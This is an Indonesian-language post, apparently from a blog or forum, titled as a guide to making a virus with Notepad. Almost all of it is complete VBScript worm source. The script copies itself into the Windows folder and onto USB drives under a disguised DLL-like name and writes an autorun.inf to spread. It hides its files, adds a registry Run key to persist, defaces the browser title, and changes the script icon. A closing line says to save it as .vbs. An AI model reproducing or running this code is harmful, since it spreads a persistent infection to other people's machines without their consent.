cara bikin virus pake notepad

on error resume next 

dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd 
atr =
"[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs" 
set fs = createobject("Scripting.FileSystemObject") 
set mf = fs.getfile(Wscript.ScriptFullname) 
dim text,size 
size = mf.size 
check = mf.drive.drivetype 
set text=mf.openastextstream(1,-2) 
do while not text.atendofstream 
mysource=mysource&text.readline 
mysource=mysource & vbcrlf 
loop 
do 
Set winpath = fs.getspecialfolder(0) 
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs") 
tf.attributes = 32 
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true) 
tf.write mysource 
tf.close 
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs") 
tf.attributes = 39 
for each flashdrive in fs.drives 
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then 
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs") 
tf.attributes =32 
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true) 
tf.write mysource 
tf.close 
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs") 
tf.attributes =39 
set tf =fs.getfile(flashdrive.path &"\autorun.inf") 
tf.attributes = 32 
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true) 
tf.write atr 
tf.close 
set tf =fs.getfile(flashdrive.path &"\autorun.inf") 
tf.attributes=39 
end if 
next 
set rg = createobject("WScript.Shell") 
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Andre Susanto" 
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2" 
if check <> 1 then 
Wscript.sleep 200000 
end if 
loop while check<>1 
set sd = createobject("Wscript.shell") 
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname


Save dengan eksistensi .vbs